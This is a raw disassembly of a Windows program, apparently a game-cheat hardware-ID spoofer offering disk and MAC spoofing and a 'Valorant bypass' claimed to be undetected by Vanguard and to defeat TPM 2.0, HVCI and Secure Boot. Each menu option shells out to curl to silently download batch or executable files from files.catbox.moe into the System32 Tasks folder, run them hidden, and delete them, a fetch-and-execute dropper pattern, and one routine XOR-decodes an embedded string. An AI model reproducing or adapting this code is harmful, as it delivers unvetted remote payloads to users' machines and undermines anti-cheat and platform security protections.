mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x1400474df
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400474da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400474da
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
lea rcx, [rbp - 0x38]
call fcn.140042320
mov r10, rax
movups xmm0, xmmword [0x140156e70]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [0x140156e80]
movups xmmword [rbp - 0x68], xmm1
movups xmm0, xmmword [0x140156e90]
movups xmmword [rbp - 0x58], xmm0
movsd xmm0, qword [0x140156ea0]
movsd qword [rbp - 0x48], xmm0
movzx eax, byte [0x140156ea8]
mov byte [rbp - 0x40], al
mov r8d, r12d
cmp esi, 2
jl 0x140047633
movdqa xmmword [rbp + 0x30], xmm11
lea rcx, [rbp - 0x74]
mov edx, dword [rbp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140047540
cmp r8d, 0x39
jge 0x140047673
movsxd rax, r8d
lea r9, [rbp - 0x78]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x140047640
mov r8, r10
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x68]
call fcn.1400499b0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x14004768f
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
xor r8d, r8d
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.140038fc0
movss xmm0, dword [r14 + 0x28]
movss xmm6, dword [0x1401580e8]
subss xmm0, xmm6
movss xmm11, dword [0x140157fc8]
mulss xmm0, xmm11
movss xmm7, dword [0x14015805c]
subss xmm0, xmm7
movss xmm8, dword [0x1401580b0]
movss xmm9, dword [0x140158124]
lea r9, [rsp + 0x40]
unpcklps xmm0, xmm8
movq r8, xmm0
movss xmm10, dword [0x1401580e0]
movaps xmm1, xmm10
unpcklps xmm1, xmm9
movq rdx, xmm1
lea rcx, str.DISK_SPOOF
call fcn.140036fa0
test al, al
je 0x140049769
lea rcx, str.curl___silent_https:__files.catbox.moe_oh09l1.bat___output_C:WindowsSystem32Tasksdisk.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Tasksdisk.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Tasksdisk.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r12
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x30]
call fcn.140038fc0
movss xmm0, dword [r14 + 0x28]
subss xmm0, xmm6
mulss xmm0, xmm11
subss xmm0, xmm7
lea r9, [rbp + 0x30]
unpcklps xmm0, xmm8
movq r8, xmm0
movss xmm1, dword [0x140158128]
unpcklps xmm1, xmm9
movq rdx, xmm1
lea rcx, str.MAC_SPOOF
call fcn.140036fa0
test al, al
je 0x1400497ef
lea rcx, str.curl___silent_https:__files.catbox.moe_8o2zsu.bat___output_C:WindowsSystem32Tasksmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Tasksmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Tasksmac.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movss xmm1, dword [0x140245928]
jmp 0x14004980b
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movss xmm10, dword [0x1401580e0]
cmp dword [reloc.WS2_32.dll_ioctlsocket], 2
jne 0x140049946
mov rax, qword [0x140245070]
movss dword [rax + 0x37f0], xmm1
mov dword [rsp + 0x60], 0x3f800000
mov dword [rsp + 0x40], 0
movss xmm0, dword [rax + 0x18]
addss xmm0, xmm0
mulss xmm0, dword [0x140158024]
addss xmm0, xmm1
movss dword [rbp + 0x30], xmm0
lea rcx, [rsp + 0x40]
lea rax, [rbp + 0x30]
comiss xmm15, xmm0
cmovbe rcx, rax
lea rax, [rsp + 0x60]
comiss xmm0, dword [0x140158014]
cmovbe rax, rcx
movss xmm0, dword [rax]
movss dword [0x140245928], xmm0
mov qword [rsp + 0x30], rdi
lea rax, str.NOTE:_Make_sure_you_have_TPM_OFF__ISOLATION_CORE_OFF__SECURE_BOOT_OFF_IN_BIOS
mov qword [rsp + 0x28], rax
lea rax, str.This_Bypasses_TPM_Error_ONLY
mov qword [rsp + 0x20], rax
lea r9, str.Fully_Undetected_on_Vanguard
lea r8, str.This_option_will_bypass_TPM_2.0__HVCI__SECURE_BOOT
movaps xmm0, xmm10
movss xmm1, dword [0x1401580d0]
unpcklps xmm0, xmm1
movq rdx, xmm0
lea rcx, str.VALORANT_BYPASS
call fcn.140038090
test al, al
je 0x1400498f4
lea rcx, str.curl___silent_https:__files.catbox.moe_bhcga4.bin___output_C:WindowsSystem32Tasks_tpmbypass.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:WindowsSystem32Tasks_tpmbypass.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Tasks_tpmbypass.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rax, str.Bluetooth_adapters._or_another_WI_FI_Adapters.
mov qword [rsp + 0x30], rax
lea rax, str.NOTE:_Please_make_sure_to_disable_external_networks_such_as:
mov qword [rsp + 0x28], rax
lea rax, str.does_not_work.__You_can_use_this_on_Ethernet_
mov qword [rsp + 0x20], rax
lea r9, str.You_can_also_use_this_function_if_the_permanent_mac_option
lea r8, str.This_option_will_change_the_mac_address_of_the_WiFi_network
movaps xmm0, xmm10
movss xmm1, dword [0x1401580f0]
unpcklps xmm0, xmm1
movq rdx, xmm0
lea rcx, str.WIFI_MAC_SPOOFER
call fcn.140038090
call fcn.140010260
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.14011f760
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret